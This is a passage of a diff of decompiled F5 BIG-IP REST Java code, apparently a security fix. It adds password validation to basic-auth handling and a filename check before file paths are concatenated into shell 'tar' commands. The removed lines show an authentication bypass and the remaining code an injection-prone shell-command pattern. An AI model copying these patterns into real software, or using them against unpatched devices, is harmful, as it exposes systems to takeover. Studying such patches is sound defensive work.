com.f5.rest.tmos.bigip.authn.providers.mcpremote.TmosAuthProviderCollectionWorker;\n import com.f5.rest.workers.AuthTokenItemState;\n +import com.f5.rest.workers.ForwarderPassThroughWorker;\n +import com.f5.rest.workers.authn.providers.AuthProviderLoginState;\n import com.f5.rest.workers.authz.AuthzHelper;\n import com.f5.rest.workers.device.DeviceCertificateState;\n import java.net.URI;\n +import java.net.URISyntaxException;\n import java.security.interfaces.RSAPublicKey;\n \n \n \n \n \n \n \n \n \n +\n +\n +\n +\n +\n +\n public class RestOperationIdentifier\n {\n private static RestLogger LOGGER = new RestLogger(RestOperationIdentifier.class, null);\n \n + static final String TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + \"/\" + TmosAuthProviderCollectionWorker.generatePrimaryKey(\"tmos\") + \"/login\";\n +\n +\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public static void setIdentityFromAuthenticationData(RestOperation request, Runnable completion) {\n if (setIdentityFromDeviceAuthToken(request, completion)) {\n return;\n }\n if (setIdentityFromF5AuthToken(request)) {\n completion.run();\n return;\n }\n - if (setIdentityFromBasicAuth(request)) {\n - completion.run();\n -\n + if (setIdentityFromBasicAuth(request, completion)) {\n return;\n }\n +\n completion.run();\n }\n \n \n \n \n \n \n \n \n public static void updateIdentityFromAuthenticationData(RestOperation request) {\n if (getRequestDeviceAuthToken(request) != null) {\n return;\n }\n \n \n if (setIdentityFromF5AuthToken(request)) {\n return;\n }\n - if (setIdentityFromBasicAuth(request)) {\n + if (setIdentityFromBasicAuth(request, null)) {\n return;\n }\n }\n \n \n \n \n private static String getRequestDeviceAuthToken(RestOperation request) {\n return request.getParameter(\"em_server_auth_token\");\n }\n \n \n \n \n \n \n \n \n private static boolean setIdentityFromDeviceAuthToken(final RestOperation incomingRequest, final Runnable finalRunnable) {\n final String authToken = getRequestDeviceAuthToken(incomingRequest);\n if (authToken == null) {\n return false;\n }\n final String ipAddress = incomingRequest.getParameter(\"em_server_ip\");\n \n \n \n boolean isCmiKey = Boolean.parseBoolean(incomingRequest.getParameter(\"em_cmi_key\"));\n \n \n \n \n \n \n if (WellKnownPorts.getUseDeviceGroupKeyPairs() || WellKnownPorts.getUseBothDeviceAndGroupCertificates() || isCmiKey)\n {\n return setIdentityFromDeviceAuthTokenOnDisk(incomingRequest, finalRunnable, authToken, ipAddress, isCmiKey);\n }\n \n \n URI certificateUri = UrlHelper.buildLocalUriSafe(incomingRequest.getUri().getPort(), new String[] { \"shared/device-certificates\", ipAddress });\n \n \n \n RestRequestCompletion completion = new RestRequestCompletion()\n {\n public void completed(RestOperation certRequest) {\n DeviceCertificateState certificate = certRequest.<DeviceCertificateState>getTypedBody(DeviceCertificateState.class);\n \n RestOperationIdentifier.setIdentityFromDeviceAuthToken(authToken, certificate.certificate.getBytes(), certificate.deviceUserReference, incomingRequest);\n \n \n \n finalRunnable.run();\n }\n \n \n \n \n \n public void failed(Exception exception, RestOperation certRequest) {\n RestOperationIdentifier.LOGGER.fineFmt(\"Get device-certificate %s for %s: %s\", new Object[] { this.val$ipAddress, this.val$incomingRequest.getReferer(), exception });\n \n finalRunnable.run();\n }\n };\n \n RestOperation certRequest = RestOperation.create().setUri(certificateUri).setCompletion(completion).setReferer(RestOperationIdentifier.class.getName());\n \n \n \n RestRequestSender.sendGet(certRequest);\n return true;\n }\n \n \n \n \n \n \n \n private static boolean setIdentityFromDeviceAuthTokenOnDisk(final RestOperation incomingRequest, final Runnable finalRunnable, final String authToken, final String ipAddress, final boolean isCmiKey) {\n DeviceAuthTokenHelper.getPublicKeyBytes(ipAddress, isCmiKey, new CompletionHandler<byte[]>()\n {\n public void completed(byte[] data)\n {\n RestOperationIdentifier.setIdentityFromDeviceAuthToken(authToken, data, null, incomingRequest);\n finalRunnable.run();\n }\n \n \n \n \n public void failed(Exception exception, byte[] data) {\n RestOperationIdentifier.LOGGER.fineFmt(\"Read public key %s/%s for %s: %s\", new Object[] { this.val$ipAddress, Boolean.valueOf(this.val$isCmiKey), this.val$incomingRequest.getReferer(), exception });\n \n finalRunnable.run();\n }\n });\n \n return true;\n }\n \n \n \n \n \n \n \n \n \n \n \n \n private static void setIdentityFromDeviceAuthToken(String authToken, byte[] publicKeyBytes, RestReference deviceUserReference, RestOperation request) {\n RSAPublicKey publicKey;\n DeviceAuthToken deviceAuthToken;\n try {\n publicKey = DeviceAuthTokenHelper.makePublicKeyFromBytes(publicKeyBytes);\n } catch (Exception exception) {\n \n \n LOGGER.warningFmt(\"Public key file on disk error: %s\", new Object[] { RestHelper.throwableStackToString(exception) });\n \n \n return;\n }\n \n try {\n deviceAuthToken = DeviceAuthTokenHelper.decryptAuthToken(authToken, publicKey);\n } catch (Exception exception) {\n LOGGER.fineFmt(\"Invalid auth token %s from %s: %s\", new Object[] { authToken, request.getReferer(), exception });\n \n return;\n }\n \n LOGGER.finestFmt(\"token timestamp=%s\", new Object[] { Integer.valueOf(deviceAuthToken.getTimestamp()) });\n \n if (deviceUserReference == null) {\n deviceUserReference = AuthzHelper.getDefaultAdminReference();\n }\n request.setIdentityData(null, deviceUserReference, null);\n \n \n request.setTrustedRequest(true);\n }\n \n \n \n \n private static boolean setIdentityFromF5AuthToken(RestOperation request) {\n AuthTokenItemState token = request.getXF5AuthTokenState();\n if (token == null) {\n return false;\n }\n request.setIdentityData(token.userName, token.user, AuthzHelper.toArray(token.groupReferences));\n \n return true;\n }\n \n \n \n \n - private static boolean setIdentityFromBasicAuth(RestOperation request) {\n +\n +\n + private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {\n String authHeader = request.getBasicAuthorization();\n if (authHeader == null) {\n return false;\n }\n - AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);\n - request.setIdentityData(components.userName, null, null);\n + final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);\n +\n +\n +\n +\n +\n + String xForwardedHostHeaderValue = request.getAdditionalHeader(\"X-Forwarded-Host\");\n +\n +\n +\n + if (xForwardedHostHeaderValue == null) {\n + request.setIdentityData(components.userName, null, null);\n + if (runnable != null) {\n + runnable.run();\n + }\n + return true;\n + }\n +\n +\n +\n + String[] valueList = xForwardedHostHeaderValue.split(\", \");\n + int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0;\n + if (valueList[valueIdx].contains(\"localhost\") || valueList[valueIdx].contains(\"127.0.0.1\")) {\n +\n + request.setIdentityData(components.userName, null, null);\n + if (runnable != null) {\n + runnable.run();\n + }\n + return true;\n + }\n +\n +\n + if (!PasswordUtil.isPasswordReset().booleanValue()) {\n + request.setIdentityData(components.userName, null, null);\n + if (runnable != null) {\n + runnable.run();\n + }\n + return true;\n + }\n +\n + AuthProviderLoginState loginState = new AuthProviderLoginState();\n + loginState.username = components.userName;\n + loginState.password = components.password;\n + loginState.address = request.getRemoteSender();\n + RestRequestCompletion authCompletion = new RestRequestCompletion()\n + {\n + public void completed(RestOperation subRequest) {\n + request.setIdentityData(components.userName, null, null);\n + if (runnable != null) {\n + runnable.run();\n + }\n + }\n +\n +\n + public void failed(Exception ex, RestOperation subRequest) {\n + RestOperationIdentifier.LOGGER.warningFmt(\"Failed to validate %s\", new Object[] { ex.getMessage() });\n + if (ex.getMessage().contains(\"Password expired\")) {\n + request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));\n + }\n + if (runnable != null) {\n + runnable.run();\n + }\n + }\n + };\n +\n + try {\n + RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), null)).setCompletion(authCompletion);\n +\n +\n + RestRequestSender.sendPost(subRequest);\n + } catch (URISyntaxException e) {\n + LOGGER.warningFmt(\"ERROR: URISyntaxEception %s\", new Object[] { e.getMessage() });\n + }\n return true;\n }\n }\n diff --git a/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java b/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java\n index afc6890..7a0fe79 100644\n --- a/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java\n +++ b/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java\n @@ -1,788 +1,803 @@\n package com.f5.rest.tmos.bigip.access.iapp;\n \n import com.f5.rest.common.CompletionHandler;\n import com.f5.rest.common.RestHelper;\n import com.f5.rest.common.RestOperation;\n import com.f5.rest.common.RestRequestCompletion;\n import com.f5.rest.common.RestServer;\n import com.f5.rest.common.RestThreadManager;\n import com.f5.rest.common.UrlHelper;\n import com.f5.rest.common.Utilities;\n import com.f5.rest.common.VersionUtil;\n import com.f5.rest.tmos.bigip.access.util.LangUtil;\n import com.f5.rest.workers.DeviceInfoState;\n import com.f5.rest.workers.device.DeviceInfoWorker;\n import com.f5.rest.workers.iapp.IAppPackageManagementTaskCollectionWorker;\n import com.f5.rest.workers.iapp.IAppPackageManagementTaskState;\n import com.f5.rest.workers.iapp.packaging.GlobalInstalledPackageCollectionWorker;\n import com.f5.rest.workers.iapp.packaging.InstalledPackageCollectionState;\n import com.f5.rest.workers.iapp.packaging.InstalledPackageState;\n import com.f5.rest.workers.shell.ShellExecutionResult;\n import com.f5.rest.workers.shell.ShellExecutor;\n import com.f5.rest.workers.task.AbstractTaskCollectionWorker;\n import com.f5.rest.workers.task.TaskCompletion;\n import com.f5.rest.workers.task.TaskItemState;\n import com.google.gson.JsonObject;\n import java.io.ByteArrayInputStream;\n import java.io.File;\n import java.io.IOException;\n import java.io.InputStream;\n import java.io.InputStreamReader;\n import java.net.URI;\n import java.nio.ByteBuffer;\n import java.nio.channels.AsynchronousFileChannel;\n import java.nio.channels.CompletionHandler;\n import java.nio.file.OpenOption;\n import java.nio.file.Path;\n import java.nio.file.Paths;\n import java.nio.file.StandardOpenOption;\n import java.util.ArrayList;\n import java.util.Date;\n import java.util.concurrent.TimeUnit;\n +import java.util.regex.Matcher;\n +import java.util.regex.Pattern;\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public class IAppBundleInstallTaskCollectionWorker\n extends AbstractTaskCollectionWorker<IAppBundleInstallTaskState, IAppBundleInstallCollectionState>\n {\n private static final String AGC_USE_CASE_PACK_BUILD_NOT_FOUND = \"Access Guided Configuration use case pack name does not contain build number\";\n private static final String AGC_PACK_NOT_FOUND = \"Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.\";\n public static final String IAPP_BUNDLE_INSTALL_TASKS_SEGMENT = \"bundle-install-tasks\";\n public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { \"tm/\", \"access\", \"bundle-install-tasks\" });\n \n \n private static final String ERROR_TASK_BODY_INVALID = \"IApp bundle install task body is invalid.\";\n \n +\n private static final String TAR_FILE_PATH = \"/var/apm/f5-iappslx-agc-usecase-pack/\";\n \n private static final String RPMS_FILE_PATH = \"/var/config/rest/downloads/\";\n \n private static final String FRAMEWORK = \"framework\";\n \n private static final String AGC_USECASE_PACK_INFO_WORKER_URI_PATH = \"/mgmt/tm/access/usecase-pack-info\";\n \n private static final String AGC_USE_CASE_PACK_VERSION = \"usecasePackVersion\";\n \n private static final String AGC_USE_CASE_PACK_BUILD = \"usecasePackBuild\";\n \n private String bigIpVersion;\n \n private static final int MAX_RETRY_COUNT = 5;\n \n private static final int RETRY_WAIT_TIME_MULTIPLIER = 5000;\n \n + private static final Pattern validFilePathChars = Pattern.compile(\"(^[a-zA-Z][a-zA-Z0-9_.\\\\-\\\\s()]*)\\\\.([tT][aA][rR]\\\\.[gG][zZ])$\");\n \n public IAppBundleInstallTaskCollectionWorker() {\n super(IAppBundleInstallTaskState.class, IAppBundleInstallCollectionState.class);\n \n \n this.state = new IAppBundleInstallCollectionState();\n \n \n \n setReplicated(false);\n \n setIndexed(true);\n \n \n \n \n \n \n \n \n \n setIsObliteratedOnDelete(true);\n \n configureTaskJanitor(TimeUnit.HOURS.toMillis(1L), TimeUnit.DAYS.toMillis(1L));\n }\n \n \n \n \n public void onStart(RestServer server) {\n completeStart(IAppBundleInstallCollectionState.class, new URI[] { buildLocalUri(new String[] { IAppPackageManagementTaskCollectionWorker.WORKER_URI_PATH }) });\n }\n \n \n \n \n \n \n \n \n public void validateTaskRequest(IAppBundleInstallTaskState taskState) throws Exception {\n if (taskState == null) {\n throw new IllegalArgumentException(\"IApp bundle install task body is invalid.\");\n }\n }\n \n \n \n \n \n protected void startTask(IAppBundleInstallTaskState taskState) {\n taskState.status = TaskItemState.Status.STARTED;\n if (taskState.startTime == null) {\n taskState.startTime = new Date();\n }\n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.VALIDATE_GZIP_BUNDLE;\n sendStatusUpdate(taskState);\n }\n \n \n \n \n \n public void processTaskStep(IAppBundleInstallTaskState taskState, Object userData) {\n int retryCount;\n switch (taskState.step) {\n case VALIDATE_GZIP_BUNDLE:\n validateGzipBundle(taskState);\n return;\n case QUERY_INSTALLED_RPM:\n queryInstalledRpm(taskState);\n return;\n case QUERY_BIGIP_VERSION:\n queryBigipVersion(taskState);\n return;\n case EXTRACT_RPMS_FROM_BUNDLE:\n extractRpmsFromBundle(taskState);\n return;\n case READ_MANIFEST_FILE:\n readManifestFile(taskState);\n return;\n case FILTER_RPMS_ON_MIN_BIGIP_VERSION_REQUIRED:\n filterRpmsOnMinBigipVersionRequired(taskState);\n return;\n case INSTALL_FRAMEWORK_RPM:\n installFrameworkRpmInBundle(taskState);\n return;\n case INSTALL_APP_RPMS:\n installAppRpmsInBundle(taskState);\n return;\n case UPDATE_USECASE_PACK_VERSION:\n retryCount = 0;\n if (userData != null) {\n retryCount = ((Integer)userData).intValue();\n }\n updateUsecasePackVersion(taskState, retryCount);\n return;\n case DONE:\n taskState.status = TaskItemState.Status.FINISHED;\n sendStatusUpdate(taskState);\n return;\n }\n throw new IllegalStateException(\"Unknown IApp bundle install task step: \" + taskState.step);\n }\n \n \n \n \n \n private void validateGzipBundle(final IAppBundleInstallTaskState taskState) {\n if (Utilities.isNullOrEmpty(taskState.filePath)) {\n File agcUseCasePackDir = new File(\"/var/apm/f5-iappslx-agc-usecase-pack/\");\n if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) {\n String error = \"Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.\";\n failTask(taskState, error, \"\");\n return;\n }\n File[] agcUseCasePack = agcUseCasePackDir.listFiles();\n if (agcUseCasePack == null || agcUseCasePack.length == 0 || !agcUseCasePack[0].isFile()) {\n \n String error = \"Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack.\";\n failTask(taskState, error, \"\");\n return;\n }\n taskState.filePath = agcUseCasePack[0].getPath();\n }\n \n + String filename = taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1);\n + Matcher m = validFilePathChars.matcher(filename);\n + if (!m.matches()) {\n + String errorMessage = String.format(\"Access Guided Configuration use case pack validation failed: the file name %s must begin with alphabet, and only contain letters, numbers, spaces and/or special characters (underscore (_), period (.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed\", new Object[] { filename });\n +\n +\n +\n + failTask(taskState, errorMessage, \"\");\n +\n + return;\n + }\n final String extractTarCommand = \"tar -xf \" + taskState.filePath + \" -O > /dev/null\";\n \n \n ShellExecutor extractTar = new ShellExecutor(extractTarCommand);\n \n CompletionHandler<ShellExecutionResult> executionFinishedHandler = new CompletionHandler<ShellExecutionResult>()\n {\n public void completed(ShellExecutionResult extractQueryResult)\n {\n if (extractQueryResult.getExitStatus().intValue() != 0) {\n String error = extractTarCommand + \" failed with exit code=\" + extractQueryResult.getExitStatus();\n \n \n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, \"Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive.\", error + \"stdout + stderr=\" + extractQueryResult.getOutput());\n \n \n return;\n }\n \n \n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_INSTALLED_RPM;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n \n \n public void failed(Exception ex, ShellExecutionResult rpmQueryResult) {\n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, \"Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive.\", String.format(\"%s failed\", new Object[] { this.val$extractTarCommand }) + RestHelper.throwableStackToString(ex));\n }\n };\n \n \n \n extractTar.startExecution(executionFinishedHandler);\n }\n \n \n private void queryInstalledRpm(final IAppBundleInstallTaskState taskState) {\n RestRequestCompletion queryCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation operation) {\n InstalledPackageCollectionState installedPackages = (InstalledPackageCollectionState)operation.getTypedBody(InstalledPackageCollectionState.class);\n \n \n if (installedPackages != null) {\n taskState.alreadyInstalledRpmsInfo = new ArrayList<>();\n for (InstalledPackageState installedPackage : installedPackages.items) {\n taskState.alreadyInstalledRpmsInfo.add(new IAppBundleInstallTaskState.RpmPackageInfo(installedPackage.appName, installedPackage.version, installedPackage.release, installedPackage.arch, \"\"));\n }\n }\n \n \n \n \n \n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_BIGIP_VERSION;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n \n \n public void failed(Exception exception, RestOperation operation) {\n taskState.errorMessage = String.format(\"Failed to query Global Installed Package Worker: %s\", new Object[] { exception.getMessage() });\n \n \n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, taskState.errorMessage, RestHelper.throwableStackToString(exception));\n }\n };\n \n \n RestOperation queryOperation = RestOperation.create().setCompletion(queryCompletion).setUri(buildLocalUri(new String[] { GlobalInstalledPackageCollectionWorker.WORKER_URI_PATH }));\n \n \n \n \n sendGet(queryOperation);\n }\n \n \n \n private void queryBigipVersion(final IAppBundleInstallTaskState taskState) {\n RestRequestCompletion queryCompletion = new RestRequestCompletion()\n {\n public void completed(RestOperation operation) {\n DeviceInfoState infoState = (DeviceInfoState)operation.getTypedBody(DeviceInfoState.class);\n IAppBundleInstallTaskCollectionWorker.this.bigIpVersion = infoState.version;\n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.EXTRACT_RPMS_FROM_BUNDLE;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n \n \n public void failed(Exception exception, RestOperation operation) {\n taskState.errorMessage = String.format(\"Failed to query BigIP version from DeviceInfo Worker: %s\", new Object[] { exception.getMessage() });\n \n \n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, taskState.errorMessage, RestHelper.throwableStackToString(exception));\n }\n };\n \n \n RestOperation queryOperation = RestOperation.create().setCompletion(queryCompletion).setUri(buildLocalUri(new String[] { DeviceInfoWorker.WORKER_URI_PATH }));\n \n \n \n \n sendGet(queryOperation);\n }\n \n \n private void extractRpmsFromBundle(final IAppBundleInstallTaskState taskState) {\n final String extractTarCommand = \"tar -xvf \" + taskState.filePath + \" --directory \" + \"/var/config/rest/downloads/\";\n \n ShellExecutor extractTar = new ShellExecutor(extractTarCommand);\n \n CompletionHandler<ShellExecutionResult> executionFinishedHandler = new CompletionHandler<ShellExecutionResult>()\n {\n public void completed(ShellExecutionResult extractTarResult)\n {\n if (extractTarResult.getExitStatus().intValue() != 0) {\n String error = extractTarCommand + \" failed with exit code=\" + extractTarResult.getExitStatus();\n \n \n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, \"Validate usecase pack by extracting iApps failed\", error + \"stdout + stderr=\" + extractTarResult.getOutput());\n \n \n \n return;\n }\n \n \n populateRpmsToBeInstalled(taskState, extractTarResult);\n \n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.READ_MANIFEST_FILE;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n \n \n \n \n private void populateRpmsToBeInstalled(IAppBundleInstallTaskState taskState, ShellExecutionResult extractTarResult) {\n ArrayList<IAppBundleInstallTaskState.RpmPackageInfo> alreadyInstalledRpms = new ArrayList<>();\n taskState.appRpmsInfo = new ArrayList<>();\n \n String[] rpmsToBeInstalled = extractTarResult.getOutput().split(\"\\\\n\");\n \n \n for (int i = 0; i < rpmsToBeInstalled.length; i++) {\n \n if (isManifestFile(rpmsToBeInstalled[i])) {\n taskState.manifestFileName = rpmsToBeInstalled[i];\n }\n else {\n \n IAppBundleInstallTaskState.RpmPackageInfo rpmToBeInstalled = getRpmPackageInfo(rpmsToBeInstalled[i]);\n \n if (!rpmToBeInstalled.error.equals(\"\")) {\n updateRpmStatus(taskState, rpmsToBeInstalled[i], IAppBundleInstallTaskState.RpmStatus.ERRORED, rpmToBeInstalled.error);\n }\n else if (isRpmInstallRequired(rpmToBeInstalled)) {\n updateRpmStatus(taskState, rpmsToBeInstalled[i], IAppBundleInstallTaskState.RpmStatus.EXTRACTED, \"\");\n } else {\n \n alreadyInstalledRpms.add(rpmToBeInstalled);\n }\n }\n } taskState.alreadyInstalledRpmsInfo = alreadyInstalledRpms;\n }\n \n private boolean isManifestFile(String fileName) {\n int index = fileName.lastIndexOf('.');\n if (index != -1 && fileName.substring(index + 1).equals(\"json\"))\n {\n return true;\n }\n return false;\n }\n \n \n \n \n private void updateRpmStatus(IAppBundleInstallTaskState taskState, String rpmToBeInstalled, IAppBundleInstallTaskState.RpmStatus rpmStatus, String error) {\n if (rpmToBeInstalled.contains(\"framework\")) {\n taskState.frameworkRpmInfo = new IAppBundleInstallTaskState.RpmInfo(rpmToBeInstalled, rpmStatus, error);\n } else {\n \n taskState.appRpmsInfo.add(new IAppBundleInstallTaskState.RpmInfo(rpmToBeInstalled, rpmStatus, error));\n }\n }\n \n \n private boolean isRpmInstallRequired(IAppBundleInstallTaskState.RpmPackageInfo rpmToBeInstalled) {\n if (taskState.alreadyInstalledRpmsInfo == null || taskState.alreadyInstalledRpmsInfo.isEmpty())\n {\n return true;\n }\n for (IAppBundleInstallTaskState.RpmPackageInfo alreadyInstalledRpm : taskState.alreadyInstalledRpmsInfo) {\n if (alreadyInstalledRpm.name.equals(rpmToBeInstalled.name)) {\n if (VersionUtil.compareVersion(alreadyInstalledRpm.version, rpmToBeInstalled.version) > 0) {\n \n \n rpmToBeInstalled.error = createAlreadyInstalledRpmErrorMessage(rpmToBeInstalled, alreadyInstalledRpm);\n \n return false;\n } if (VersionUtil.compareVersion(alreadyInstalledRpm.version, rpmToBeInstalled.version) == 0)\n {\n \n if (VersionUtil.compareBuild(alreadyInstalledRpm.release, rpmToBeInstalled.release) >= 0) {\n \n \n createAlreadyInstalledRpmErrorMessage(rpmToBeInstalled, alreadyInstalledRpm);\n \n return false;\n }\n }\n break;\n }\n }\n return true;\n }\n \n \n \n private String createAlreadyInstalledRpmErrorMessage(IAppBundleInstallTaskState.RpmPackageInfo rpmToBeInstalled, IAppBundleInstallTaskState.RpmPackageInfo alreadyInstalledRpm) {\n return rpmToBeInstalled.error = \"Installed rpm version is \" + alreadyInstalledRpm.version + \" and release is \" + alreadyInstalledRpm.release;\n }\n \n \n \n private IAppBundleInstallTaskState.RpmPackageInfo getRpmPackageInfo(String rpmFileName) {\n IAppBundleInstallTaskState.RpmPackageInfo rpmPackageInfo = new IAppBundleInstallTaskState.RpmPackageInfo(\"\", \"\", \"\", \"\", \"\");\n \n \n \n int index = rpmFileName.lastIndexOf('.');\n if (index == -1 || !rpmFileName.substring(index + 1).equals(\"rpm\")) {\n \n rpmPackageInfo.error = \"Not a rpm file\";\n return rpmPackageInfo;\n }\n rpmFileName = rpmFileName.substring(0, index);\n \n index = rpmFileName.lastIndexOf('.'); String subStr;\n if (index == -1 || !(subStr = rpmFileName.substring(index + 1)).equals(\"noarch\")) {\n \n \n rpmPackageInfo.error = \"Invalid file name format - 'arch' not found in file name\";\n return rpmPackageInfo;\n }\n rpmPackageInfo.arch = subStr;\n rpmFileName = rpmFileName.substring(0, index);\n \n index = rpmFileName.lastIndexOf('-');\n if (index == -1 || (subStr = rpmFileName.substring(index + 1)).length() == 0 || !Character.isDigit(subStr.charAt(0))) {\n \n \n rpmPackageInfo.error = \"Invalid file name format - release not found in file name\";\n return rpmPackageInfo;\n }\n rpmPackageInfo.release = subStr;\n rpmFileName = rpmFileName.substring(0, index);\n \n index = rpmFileName.lastIndexOf('-');\n if (index == -1 || (subStr = rpmFileName.substring(index + 1)).length() == 0 || !Character.isDigit(subStr.charAt(0))) {\n \n \n rpmPackageInfo.error = \"Invalid file name format - version not found in file name\";\n return rpmPackageInfo;\n }\n rpmPackageInfo.version = subStr;\n \n rpmPackageInfo.name = rpmFileName.substring(0, index);\n if (rpmPackageInfo.name.length() == 0) {\n rpmPackageInfo.error = \"Invalid file name format - name not found in file name\";\n return rpmPackageInfo;\n }\n return rpmPackageInfo;\n }\n \n \n public void failed(Exception ex, ShellExecutionResult rpmQueryResult) {\n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, \"Extract iApps from usecase pack failed\", String.format(\"%s failed\", new Object[] { this.val$extractTarCommand }) + RestHelper.throwableStackToString(ex));\n }\n };\n \n \n extractTar.startExecution(executionFinishedHandler);\n }\n \n \n \n private void readManifestFile(final IAppBundleInstallTaskState taskState) {\n if (LangUtil.isNullOrEmpty(taskState.manifestFileName)) {\n failTask(taskState, \"Access Guided Configuration use case pack does not contain manifest file.\", \"\");\n \n return;\n }\n \n final CompletionHandler<Integer, ByteBuffer> completion = new CompletionHandler<Integer, ByteBuffer>()\n {\n public void completed(Integer result, ByteBuffer bb) {\n InputStream in = new ByteArrayInputStream(bb.array());\n InputStreamReader inr = new InputStreamReader(in);\n taskState.manifest = (IAppBundleInstallTaskState.Manifest)RestOperation.fromJson(inr, IAppBundleInstallTaskState.Manifest.class);\n \n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.FILTER_RPMS_ON_MIN_BIGIP_VERSION_REQUIRED;\n IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState);\n }\n \n \n public void failed(Throwable exc, ByteBuffer attachment) {\n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, String.format(\"Failed to read manifest file %s - %s\", new Object[] { this.val$taskState.manifestFileName, exc.getMessage() }), RestHelper.throwableStackToString(exc));\n }\n };\n \n \n \n \n StandardOpenOption option = StandardOpenOption.READ;\n Path path = Paths.get(\"/var/config/rest/downloads/\" + taskState.manifestFileName, new String[0]);\n try {\n final AsynchronousFileChannel fileChannel = AsynchronousFileChannel.open(path, new OpenOption[] { option });\n \n ByteBuffer buffer = ByteBuffer.allocate((int)fileChannel.size());\n \n CompletionHandler<Integer, ByteBuffer> completionHandler = new CompletionHandler<Integer, ByteBuffer>()\n {\n \n public void completed(final Integer result, final ByteBuffer attachment)\n {\n RestThreadManager.getBlockingPool().execute(new Runnable()\n {\n public void run() {\n completion.completed(result, attachment);\n try {\n fileChannel.close();\n } catch (IOException e) {\n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, String.format(\"Failed to close channel for manifest file %s - %s\", new Object[] { this.this$1.val$taskState.manifestFileName, e.getMessage() }), RestHelper.throwableStackToString(e));\n }\n }\n });\n }\n \n \n \n \n \n \n \n \n public void failed(final Throwable exc, final ByteBuffer attachment) {\n RestThreadManager.getBlockingPool().execute(new Runnable()\n {\n public void run() {\n completion.failed(exc, attachment);\n try {\n fileChannel.close();\n } catch (IOException e) {\n IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, String.format(\"Failed to close channel for manifest file %s - %s\", new Object[] { this.this$1.val$taskState.manifestFileName, this.val$exc.getMessage() }), RestHelper.throwableStackToString(exc));\n }\n }\n });\n }\n };\n \n \n \n \n fileChannel.read(buffer, 0L, buffer, completionHandler);\n } catch (IOException e) {\n failTask(taskState, String.format(\"Failed to read manifest file %s - %s\", new Object[] { taskState.manifestFileName, e.getMessage() }));\n }\n }\n \n \n \n \n private void filterRpmsOnMinBigipVersionRequired(IAppBundleInstallTaskState taskState) {\n if (taskState.frameworkRpmInfo != null) {\n checkForMinBigIPVersion(taskState, taskState.frameworkRpmInfo);\n }\n for (IAppBundleInstallTaskState.RpmInfo appRpmInfo : taskState.appRpmsInfo) {\n checkForMinBigIPVersion(taskState, appRpmInfo);\n }\n if (taskState.frameworkRpmInfo != null && taskState.frameworkRpmInfo.status != IAppBundleInstallTaskState.RpmStatus.ERRORED) {\n \n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_FRAMEWORK_RPM;\n } else if (!taskState.appRpmsInfo.isEmpty()) {\n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS;\n } else {\n taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.DONE;\n }\n sendStatusUpdate(taskState);\n }\n \n \n private void checkForMinBigIPVersion(IAppBundleInstallTaskState taskState, IAppBundleInstallTaskState.RpmInfo rpmInfo) {\n for (IAppBundleInstallTaskState.Manifest.Package pkg : taskState.manifest.packages) {\n if (rpmInfo.name.contains(pkg.name)) {\n if (VersionUtil.compareVersion(this.bigIpVersion, pkg.minBigIpVersion) < 0) {\n rpmInfo.error = \"BigIP version (\" + this.bigIpVersion + \") is lower than minimum BigIP version (\" + pkg.minBigIpVersion + \") required for the iApp Rpm.\";\n \n \n rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.ERRORED;\n }\n break;\n }\n }\n }\n \n \n \n private void installFrameworkRpmInBundle(IAppBundleInstallTaskState taskState) {\n IAppBundleInstallTaskState.IAppBundleInstallStep nextStep = 